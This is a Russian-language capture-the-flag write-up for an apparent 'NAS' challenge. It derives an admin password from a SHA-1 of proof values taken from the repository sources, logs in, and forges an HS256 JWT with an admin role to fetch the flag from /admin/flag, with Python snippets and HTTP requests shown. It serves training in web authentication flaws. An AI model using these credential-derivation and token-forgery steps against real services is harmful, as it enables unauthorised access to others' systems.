Files
Kubok-Regionov/GAME/nas/writeup.md
2025-12-22 05:19:38 +03:00

71 lines
1.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Writeup для NAS (русская версия)
## Цель
Зайти в хранилище
## 1 Задание Посчитать пароль админа и войти
Пароль админа — первые 12 символов:
```
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
Входим
```
Пример:
```python
import hashlib
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)
```
Логин: `/login` с:
```
username=admin
password=<admin_pass>
```
Сохраните cookie `sid` из ответа.
Получаем доступ к файлу .wav
Дальше решение из папки Stegano.
## 2 задание Сковать bearer JWT и забрать финальный флаг
`/admin/flag` требует:
- cookie `sid` (админская сессия)
- `Authorization: Bearer <jwt>`
Ограничения на payload:
- `role: "admin"`
- `kpf: <KETTLE_PROOF>`
- `aud: "nas-admin"`
- `iat`: текущее UNIXвремя (допуск примерно ±120 сек)
Пример:
```python
import time, jwt
payload = {
"role": "admin",
"kpf": KETTLE_PROOF,
"aud": "nas-admin",
"iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)
```
Запрос:
```
GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>
```
В ответе — финальный флаг.